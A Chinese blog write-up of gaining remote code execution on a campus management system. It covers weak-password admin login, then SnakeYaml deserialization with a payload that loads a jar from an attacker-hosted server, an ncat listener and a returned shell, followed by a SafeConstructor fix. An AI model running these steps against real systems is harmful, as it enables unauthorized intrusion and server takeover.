【实战分享】某智慧校园管理系统从弱口令到RCE
一、前言
今天划水挖edu的洞,看到一个智慧化校园系统挺有意思。是Java的SnakeYaml反序列化,踩了好几个坑(其实我是闲的),简单记录一下吧。
二、信息搜集
登录界面如图
进行一波指纹识别
可以发现两个敏感指纹,一个是APACHE Shiro,一个是这个图上某CMS管理系统。开始我尝试爆破了下Shiro的key,没有结果。就去找了下该CMS的漏洞。发现存在后台RCE的0day。
三、漏洞复现
一手弱口令直接进后台了。弱口令yyds!
利用脚本其实已经有师傅写好了。转到这个github项目下下载该项目。打开修改代码。因为网上搜到的exp都是些dnslog请求或者Windows平台的复现记录。这里正好有个linux环境,我就记录了此文章。
修改exp。
脚本也比较简单,就是实现了ScriptEngineFactory
接口,然后在静态代码块处填写需要执行的命令。将项目打包后挂载到web端,使用payload进行反序列化后请求到该位置,实现java.net.URLClassLoader
调用远程的类进行执行命令。
将java文件编译成jar包
javac src/artsploit/AwesomeScriptEngineFactory.java //会生成一个AwesomeScriptEngineFactory.class文件
jar -cvf yaml-payload.jar -C src/ . //将src目录下的文件打包为yaml-payload.jar的jar包
启动一个服务器上传jar包。可以用Python起一个web服务。我这里有宝塔环境所有就顺手用了
Python启动web服务如下:
python -m http.server --cgi 7878
使用vps监听exp中的端口
ncat -lvp 7878
以上,漏洞利用的环境就搭建完毕了
修改payload为自己服务器的ip,远程加载jar文件
org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://ip/yaml-payload.jar"]]]]')
在网站后台系统中设置定时任务
执行一次即可
查看vps弹回的shell
四、SnakeYaml 简介
SnakeYaml
是用来解析yaml的格式,可用于Java对象的序列化、反序列化。
五、漏洞修复
加入new SafeConstructor()
类进行过滤
public class main {
public static void main(String[] args) {
String context = "!!javax.script.ScriptEngineManager [\n" +
" !!java.net.URLClassLoader [[\n" +
" !!java.net.URL [\"http://ip:1234/yaml-payload.jar\"]\n" +
" ]]\n" +
"]";
Yaml yaml = new Yaml(new SafeConstructor()); //加入new SafeConstructor()类进行过滤
yaml.load(context);
}
}
再次进行反序列化会抛异常。
再者就是拒绝不安全的反序列化操作,反序列化数据前需要经过校验或拒绝反序列化数据可控。
六、总结
这个漏洞进入后台才能RCE。所以自我感觉只要密码足够难就不会被RCE的。开个玩笑,有洞还是要补上喽。。。。。。
本文来自博客园,作者:Master先生,转载请注明原文链接:https://www.cnblogs.com/mastersir/p/16260399.html